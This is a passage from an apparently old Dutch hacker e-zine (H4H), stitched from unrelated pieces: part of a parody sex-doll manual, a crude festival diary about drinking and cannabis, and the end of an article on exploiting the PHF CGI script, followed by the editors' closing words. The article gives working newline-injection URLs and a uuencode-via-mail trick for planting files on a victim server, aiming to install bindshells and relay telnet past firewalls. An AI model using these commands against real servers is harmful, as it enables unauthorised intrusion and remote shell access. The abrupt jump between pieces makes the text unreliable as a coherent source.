stored. Blow into the valve to give her a little extra pressure and close the valve. When you lie on the woman you can regulate the pressure by opening the valve a little. Once the desired pressure has been reached, lose the valve. REPAIRS In order to find where the puncture is, inflate the woman as much as possible, wet her with soapy water and mark wherever bubbles appear. Dry the woman and open the valve. For a small hole, seal it with a drop of our special contact glue and leave her to dry for at least 3 hours. wij willen ook niet weten waar dugo z'n voorleesboekjes koopt..... Onze pyromaantjes waren al een poos bezig geweest en.... het resultaat was ernaar. Hete unoxworstjes voor de lunch :)). Sync ging nog wel ff bijna huilen toen zijn kunstwerk, een waterpak versneden tot een kabouterhuisje tsssss, ook bijna verbrand werd maar gelukkig konden we hem troosten, phew. Na uren rondhangen op de camping hadden we genoeg moed verzameld om weer een dagmars richting festivalterrein af te leggen. Uiteraard nadat, Dugo nog ff snel een blowtje wilde draaien, Pipje nog ff snel een zekere tent in wilde, Asby ze haar ineens blauw wilde verven, Hawk iets begon te blaten over armbandjes die ie wilde scoren, Sync zowiezo ze tent niet uit te slaan was en Ivo nog maar es een biertje nam. Eindelijk weer op het festivalterrein gearriveerd bleek er niets veranderd! nog steeds rijen met mensen overal waar vocht en eten te halen viel. De Wanadoobus was rustig, niet zonder reden er stonden imacs met ronde muizen!!!! en van telnet hadden ze nog nooit gehoord. Wat voor soort verbinding? nou met internet he!!! kabel? telefoon? isdn? nou gewoon met internet he!!! maar de computers waren wel mooi blauw, dat wel :-). Pip ging d'r eerste plastuit scoren (helaas niet weggelegd voor de heren) en kwam juichend weer naar buiten. Plassen met de plastuit rouleert!!! Pip overweegt een piemel te laten aannaaien, staand plassen is ultiem! Helaas waren de shirtjes, met "plastuit company" erop geprint, niet te koop :(. Sync liep als snel tegen de reputatie van "mensengooier" op, jemig ik denk dat ie die laatste knul zeker een meter de lucht in smeet zeg. Hawk had ze roze armbandje gescoord dus die was "on the loose". Asby liep goed voor joker met ze blauwe haar. Pip hield vandaag wel haar broek droog, althans voor eventjes :-). Eigenlijk was de enige die er normaal uitzag Dugo,die had namelijk het kewlste shirt aan, met het hoofd van Axl Rose op de voorkant :-). Onderweg terug naar de camping scoorde Sync een pak cocktail iets, Sync was wat al te druk bezig geweest in de ruktent dus die liep wat ongemakkelijk en hoopte zo de pijn iets te verlichten, en pip kreeg alvast een glas voor "de proef" aangeboden. Het was gevaarlijk lekker :-). Verders is deze nacht wat vaahaag. Pip dronk gewoon spa-blauw met cola, maaan wat kwam dat aan zeg. Er is iets erg vaags met een tuitje en drank en plassen en een string en dugo tussen de benen van Pip maar.... I'm lost.... echt geeeen ideeej meer wat er gebeurt is :)). Er waren vast mensen die goed geslapen hebben maar volgens mij waren er heeel veeel met andere.... dingen bezig :). Kom je 's-ochtends nietsvermoedend je tent uit, zie je een hele grote bult voor de tent van Sync liggen, dus je denkt "dat is die walrus". Wil je er net een rotschop tegenaan geven onderwijl luid roepend "OEPS, IK ZAG JE HIER ZO GAUW NIET LIGGEN", zie je ineens 2 hoofden onder de dekens vandaan komen!!!!!! Nou dat bleek dus SceneGay te zijn in de ontkenningsfase. Die had een chickie gescoord (met dank aan het roze armbandje van pipje) en..... je wilt het eigenlijk niet weten, die is dus nu (2 WEKEN LATER!!) heftag flieft *geeeees*. Loopt met 8 van die idiote armbandjes om ze pols en is niet aanspreekbaar. Loopt gewoon de hele dag met zo een enge glimlach om ze mond! Die ontkenningsfase wordt wel flink uitgebuit zeg. Na van de schrik bekomen te zijn gingen de echte "die-hards" lekker ontbijten. De sukkeltjes bleven nog eventjes bij, in en rondom de tent liggen. Dus Dugo, Ivo en Pipje zaten een uurtje later (die wachtrijen Sucken bigtime!) aan een heerlijk ontbijtje van koffie, thee en spiegeleieren op brood. We hadden tenslotte een lange zware dag voor de boeg. Alle "grote" bands zouden vandaag optreden. Het zonnetje scheen, de baco was veilig naar binnen gesmokkeld, de joints gedraaid dus "what cold go wrong". Nou niets dus :). Het werd een heerlijke dag van luieren in de zon, luisteren naar muziek, bier en eten scoren bij de vandaag iets rustigere vreet- en dranktenten, mooie gefabriceerde jointjes van dugo en natuurlijk was de muziek live! Scenegay bleek toch ietsjes minder ge < && $ | \ So what? Nu kan je dus niet naar een file schrijven nerd :-p Dus met PHF kan je niet doen zoals dit: http://www.lamesysadmin.com/cgi-bin/phf?Qalias=%0Alynx%20- dump%20www.yourleetmachine/my_leet_shell_opentool.c%20>/tmp/evilfile.c Je kan dus niet ">" gebruiken, voor het zelfde geld 'echo' en 'sed'. Ghehe.. Hoe lossen we dit dus op? *grin* Naar mijn mening is er maar 1 leet manier om dit te doen. Je kan gebruik maken van: mail, cat, uuencode & uudecode voor dit probleem (RTFM als je niet weet wat ze doen) Hoe? Nou, makkelijk. Doe dit op je machine: $ uuencode yourfile.c nerd>yourfile $ cat yourfile | mail nobody@lamesysadmin.com ook met user www, controleer het met 'whoami' (stop met lezen als je niet weet wat dat is) Ga dan naar je slachtoffers PHF script en doe dit: phf?Qalias=%0Auudecode%20-o%20/var/spool/mail/nobody%20/tmp/yourfile Nu is je file in /tmp :-p note: mailbox locaties zijn verschillend op veel OS's (Operating Systems) Met dit kan je mooie bindshell programma's of index.html files or what ever versturen vanaf deze server (Mijn voorkeur is bindshell, dat geeft je shell access. Als je achter een firewall zit en telnet is onmogelijk, kan je een tcprelaying programma sturen dat poort 60666 (bijvoorbeeld) linked aan poort 23 en telnet is mogelijk achter een firewall :) Als je dit niet snapt... Lees het nog eens Grtz to #phreak.nl for comments mail to:theinsanedrg@geocities.com Remeber we 0wn you, and we're still drunk as hell, PHEAR! drgenius ------------------------------------------------------- 11. Eindwoord ------------------------------------------------------- Het 10e nummer van h4h, eigenlijk een jubileum waard... of toch maar niet ;) Wel onze exusses voor het zo laat plaatsen van het phf artikel (dit is in januari al binnen gekomen) maar door omstandigheden en late vertaling etc. is het er gewoon niet van gekomen. Ook is er al over een datum voor hit gespeculeerd dit zou in het weekend van 13 oktober moeten plaatsvinden. We zijn natuurlijk nog steeds op zoek naar enthousiaste schrijvers, die het leuk vinden om iets voor H4H te schrijven. Het liefst ook nog iets wat interessant is. En kom nu niet met de smoes: tijdgebrek. Want voor veel mensen is de zomervakantie al aangebroken, dus tijd zat. In ieder geval veel lees plezier en tot de volgende H4H (De redactie)